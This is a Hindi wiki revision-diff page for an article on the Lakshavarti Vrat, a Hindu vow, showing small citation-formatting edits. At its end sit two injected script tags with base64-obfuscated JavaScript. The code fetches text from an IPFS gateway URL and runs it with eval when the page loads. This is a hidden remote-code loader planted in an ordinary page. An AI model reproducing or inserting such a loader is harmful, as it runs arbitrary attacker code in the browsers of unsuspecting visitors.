"लक्षवर्ति व्रत" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==")
छो (Text replace - ")</ref" to "</ref")
 
पंक्ति 3: पंक्ति 3:
 
*लक्षवर्तिव्रत के लिए वैसाख सर्वोत्तम होता है।
 
*लक्षवर्तिव्रत के लिए वैसाख सर्वोत्तम होता है।
 
*लक्षवर्तिव्रत [[पूर्णिमा]] पर तीन मासों में समाप्त होता है।
 
*लक्षवर्तिव्रत [[पूर्णिमा]] पर तीन मासों में समाप्त होता है।
*प्रतिदिन एक सहस्र वातियों से [[विष्णु]] एवं [[लक्ष्मी]], [[ब्रह्मा]] एवं [[सावित्री]], [[शिव]] एवं [[उमा]] की आरती उतारना चाहिए।<ref>स्मृतिकौस्तुभ (410-411); व्रतार्क (पाण्डुलिपी 399-403 बी, [[वायु पुराण]] से उद्धरण)</ref>
+
*प्रतिदिन एक सहस्र वातियों से [[विष्णु]] एवं [[लक्ष्मी]], [[ब्रह्मा]] एवं [[सावित्री]], [[शिव]] एवं [[उमा]] की आरती उतारना चाहिए।<ref>स्मृतिकौस्तुभ (410-411); व्रतार्क (पाण्डुलिपी 399-403 बी, [[वायु पुराण]] से उद्धरण</ref>
 
{{संदर्भ ग्रंथ}}
 
{{संदर्भ ग्रंथ}}
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==

12:59, 27 जुलाई 2011 के समय का अवतरण

टीका टिप्पणी और संदर्भ

  1. स्मृतिकौस्तुभ (410-411); व्रतार्क (पाण्डुलिपी 399-403 बी, वायु पुराण से उद्धरण

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>